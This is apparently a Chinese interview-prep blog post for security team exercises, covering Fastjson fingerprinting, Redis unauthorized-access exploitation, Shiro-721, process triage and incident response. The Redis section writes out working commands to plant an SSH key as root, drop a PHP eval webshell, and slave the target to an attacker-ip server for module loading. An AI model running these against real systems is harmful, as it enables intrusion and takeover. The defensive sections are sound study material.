小计:刚结束的一场面试,因为前几天没把重心放在护网上,所以有一些地方回答有点欠缺,比如,渗透时如何判断攻击目标使用的是Fastjson没有回答出看报错和版本,redis未授权利用只回答出了ssh写公钥,进程排查也没回答全,感觉有点悬了,不过还是整理出来给接下来有面试的xdm避避雷~
1. 渗透时如何判断攻击目标使用的是Fastjson
在渗透测试中,判断目标是否使用Fastjson可以通过以下几种方式:
1.1 观察HTTP请求和响应
请求特征:
Fastjson通常用于处理JSON数据,观察请求中是否包含JSON格式的数据。
如果请求头中包含
Content-Type: application/json
,可能是Fastjson。
响应特征:
如果响应中返回了
@type
字段,这通常是Fastjson的特征。例如:
{ "@type": "com.example.User", "name": "test", "age": 20 }
1.2 报错信息
如果目标应用未正确处理异常,可能会返回Fastjson的报错信息。
例如:
java.lang.ClassNotFoundException: com.example.User at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:XXX)
1.3 版本探测
构造一个包含
@type
字段的恶意JSON,观察响应:{ "@type": "java.lang.AutoCloseable" }
如果返回类似
autoType is not support
的错误,说明目标使用了Fastjson。
1.4 工具辅助
使用工具(如Burp Suite)扫描目标,观察是否有Fastjson相关的特征。
使用插件(如FastjsonScan)自动化检测Fastjson漏洞。
2. Redis未授权的攻击利用方式
2.1 写入SSH公钥
条件:目标服务器开启了SSH服务,且Redis以root权限运行。
步骤:
生成SSH密钥对:
ssh-keygen -t rsa
将公钥写入Redis:
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt cat key.txt | redis-cli -h <target-ip> -x set ssh_key
将公钥写入目标服务器的
~/.ssh/authorized_keys
:redis-cli -h <target-ip> config set dir /root/.ssh/ config set dbfilename authorized_keys save
使用私钥登录目标服务器:
ssh -i id_rsa root@<target-ip>
2.2 写入Webshell
条件:目标服务器运行了Web服务,且Redis有权限写入Web目录。
步骤:
将Webshell写入Redis:
redis-cli -h <target-ip> set webshell "<?php @eval($_POST['cmd']); ?>" config set dir /var/www/html/ config set dbfilename shell.php save
访问Webshell:
http://<target-ip>/shell.php
2.3 利用主从复制执行命令
条件:Redis版本 >= 4.x。
步骤:
攻击者搭建恶意Redis服务器,加载恶意模块。
将目标Redis设置为从节点,指向恶意服务器:
redis-cli -h <target-ip> SLAVEOF <attacker-ip> 6379
目标Redis加载恶意模块,执行任意命令。
2.4 数据泄露
直接读取Redis中的数据,获取敏感信息。
3. 如何进行进程排查
在安全事件响应中,进程排查是发现恶意程序或异常行为的重要手段。以下是进程排查的步骤:
3.1 查看当前运行的进程
Linux:
ps aux
查看所有进程的详细信息,包括PID、CPU和内存占用、启动命令等。
Windows:
tasklist
查看当前运行的进程列表。
3.2 查找可疑进程
查找高CPU或内存占用的进程:
top # Linux
查找异常路径的进程:
检查进程的启动路径是否在正常目录(如
/usr/bin
、C:\Windows\System32
)。例如:
ps aux | grep /tmp
3.3 检查进程的网络连接
Linux:
netstat -antp
查看进程的网络连接,特别是与外部IP的连接。
Windows:
netstat -ano
3.4 检查进程的文件描述符
Linux:
lsof -p <PID>
查看进程打开的文件和网络连接。
3.5 检查进程的父进程
Linux:
pstree -p <PID>
查看进程的父进程和子进程关系,判断是否有异常。
3.6 检查定时任务和启动项
Linux:
crontab -l ls -la /etc/cron.d/
Windows:
检查
启动
文件夹和注册表中的启动项。
3.7 使用工具辅助
Linux:
使用
htop
、glances
等工具查看进程详情。
Windows:
使用
Process Explorer
、Autoruns
等工具分析进程和启动项。
4. Shiro-721攻击者怎么破解密钥
漏洞背景
Shiro-721(CVE-2019-12422)是Apache Shiro的一个漏洞,攻击者可以通过Padding Oracle Attack破解AES密钥,进而构造恶意反序列化数据。
攻击步骤
获取有效Cookie:
攻击者通过正常登录获取一个有效的
rememberMe
Cookie。
构造恶意请求:
攻击者通过修改Cookie中的密文,发送大量请求,观察服务器的响应。
破解密钥:
通过Padding Oracle Attack,攻击者逐步破解AES密钥。
构造恶意数据:
一旦获取密钥,攻击者可以构造恶意的序列化数据,触发反序列化漏洞。
5. 主机被内网横向渗透的处理
1. 确认入侵并初步响应
1.1 确认入侵
异常现象:
主机性能异常(CPU、内存占用过高)。
网络流量异常(大量未知外连或内连)。
未知进程或服务运行。
系统日志中出现可疑登录记录或操作。
检测工具:
使用
top
、htop
(Linux)或Task Manager
(Windows)查看进程。使用
netstat
、ss
(Linux)或netstat -ano
(Windows)检查网络连接。
1.2 初步隔离
断开网络:
立即断开受感染主机的网络连接,防止攻击者进一步渗透。
备份数据:
对受感染主机进行镜像备份,便于后续分析和取证。
2. 收集证据
2.1 系统信息收集
进程信息:
使用
ps aux
(Linux)或tasklist
(Windows)查看所有进程。使用
pstree
(Linux)查看进程树,分析父子进程关系。
网络连接:
使用
netstat -antp
(Linux)或netstat -ano
(Windows)查看网络连接。使用
lsof -i
(Linux)查看进程打开的网络连接。
文件检查:
使用
find
命令(Linux)查找可疑文件:bash
复制
find / -name "*.sh" -o -name "*.py" -o -name "*.exe"
检查
/tmp
、/var/tmp
等临时目录。使用
stat
命令查看文件修改时间。
2.2 日志分析
系统日志:
Linux:检查
/var/log/
目录下的日志文件(如auth.log
、syslog
)。Windows:检查事件查看器(
Event Viewer
)中的安全日志。
Web日志:
检查Web服务器日志(如
access.log
、error.log
),查找可疑请求。
登录日志:
Linux:检查
/var/log/auth.log
或/var/log/secure
。Windows:检查
Event Viewer -> Windows Logs -> Security
。
2.3 内存取证
内存转储:
使用工具(如
LiME
(Linux)或DumpIt
(Windows))转储内存。
分析内存:
使用
Volatility
分析内存中的进程、网络连接、注册表等信息。
3. 分析攻击路径
3.1 漏洞分析
检查已知漏洞:
检查系统是否存在未修复的漏洞(如永恒之蓝、Redis未授权访问等)。
检查弱口令:
检查系统是否存在弱口令或默认口令。
3.2 攻击路径还原
横向移动痕迹:
检查内网中其他主机是否被渗透。
使用工具(如
Nmap
、Metasploit
)扫描内网,查找可疑主机。
攻击者工具:
查找攻击者使用的工具(如Mimikatz、Nmap、Metasploit等)。
4. 清除恶意程序
4.1 终止恶意进程
Linux:
使用
kill
命令终止可疑进程:bash
复制
kill -9 <PID>
Windows:
使用
Task Manager
或taskkill
命令终止可疑进程:bash
复制
taskkill /PID <PID> /F
4.2 删除恶意文件
Linux:
使用
rm
命令删除可疑文件:bash
复制
rm -rf /path/to/malicious/file
Windows:
手动删除可疑文件,或使用杀毒软件清除。
4.3 清理持久化后门
Linux:
检查
crontab
、rc.local
、/etc/init.d/
等启动项。检查
~/.ssh/authorized_keys
是否有未知公钥。
Windows:
检查注册表启动项(
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
)。检查计划任务(
Task Scheduler
)。
5. 修复漏洞
5.1 修补系统漏洞
更新系统:
Linux:使用
yum update
或apt-get update
更新系统。Windows:安装最新的系统补丁。
修复应用漏洞:
更新Web服务器、数据库等应用的版本。
5.2 加强访问控制
修改弱口令:
修改所有系统的弱口令或默认口令。
限制访问:
使用防火墙限制内网访问(如
iptables
、Windows Firewall
)。
6. 恢复和监控
6.1 恢复系统
从备份恢复:
如果系统被严重破坏,从干净的备份中恢复。
重新上线:
在确认系统安全后,重新连接网络。
6.2 加强监控
部署IDS/IPS:
部署入侵检测系统(IDS)或入侵防御系统(IPS)。
日志监控:
使用ELK(Elasticsearch、Logstash、Kibana)或Splunk集中监控日志。
定期扫描:
定期使用漏洞扫描工具(如Nessus、OpenVAS)扫描内网。
7 其他问题
还有一些比较基础简单的,之前文章有写,这里只是列出问题来: